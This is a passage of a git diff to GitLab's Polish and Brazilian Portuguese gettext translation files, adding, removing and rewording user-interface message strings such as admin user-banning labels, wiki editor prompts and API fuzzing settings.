msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32548,7 +33234,7 @@ msgid "There are no abuse reports!"
msgstr ""
msgid "There are no archived projects yet"
-msgstr "Nie ma jeszcze projektów zarchiwizowanych"
+msgstr "Nie ma jeszcze zarchiwizowanych projektów"
msgid "There are no archived requirements"
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33885,7 +34556,7 @@ msgid "To get started, use the link below to confirm your account."
msgstr ""
msgid "To help improve GitLab and its user experience, GitLab will periodically collect usage information."
-msgstr "Aby usprawnić GitLab i doświadczenie jego użytkowników, GitLab będzie okresowo zbierać informacje o użytkowaniu."
+msgstr "Aby usprawnić GitLab i doświadczenie użytkowników, GitLab będzie okresowo zbierać informacje o użytkowaniu."
msgid "To help improve GitLab, we would like to periodically %{docs_link}. This can be changed at any time in %{settings_link}."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index de21ce69687..3ac78189fc1 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:11\n"
+"PO-Revision-Date: 2021-06-01 20:20\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d camada"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Grupos%{group_docs_link_end} permitem que você gerencie e colabore em vários projetos. Os membros de um grupo têm acesso a todos os seus projetos."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Saiba mais%{link_end} sobre permissões"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr "%{state} épicos"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr "%{userName} (não pode fazer o merge)"
msgid "%{userName}'s avatar"
msgstr "Avatar de %{userName}"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Página de perfil de %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' não é uma fonte de importação"
@@ -1364,6 +1372,9 @@ msgstr "Um certificado SSL Let's Encrypt não pode ser obtido até que seu domí
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Uma conta Let's Encrypt será configurada para esta instalação do GitLab usando seu endereço de e-mail. Você receberá e-mails para avisar sobre certificados expirados."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "Um usuário excluído"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Um projeto é onde você armazena seus arquivos (repositório), planeja seu trabalho (issues), e publica sua documentação (wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Um token seguro que identifica uma requisição de armazenamento externo."
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "Chave de acesso AWS"
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Adicionar uma lista de marcadores"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Ãrea do Administrador"
@@ -2330,9 +2350,6 @@ msgstr "Variáveis de ambiente são protegidas por padrão"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "Nenhum pipeline necessário"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuração de pipeline necessária"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "Defina uma %{link_start}configuração de pipeline%{link_end} incluída automaticamente em toda a instância. Esta configuração de pipeline será executada após a configuração do próprio projeto."
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Especifique um domínio a ser usado por padrão para os estágios de Auto Review Application e Auto Deploy de cada projeto."
@@ -2420,6 +2431,9 @@ msgstr "Snippets"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr "A2F desativada"
msgid "AdminUsers|2FA Enabled"
msgstr "A2F ativada"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr "Não é possível desbloquear usuários bloqueados pelo LDAP"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Desativar"
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr "É você!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "Para confirmar, digite %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, digite %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
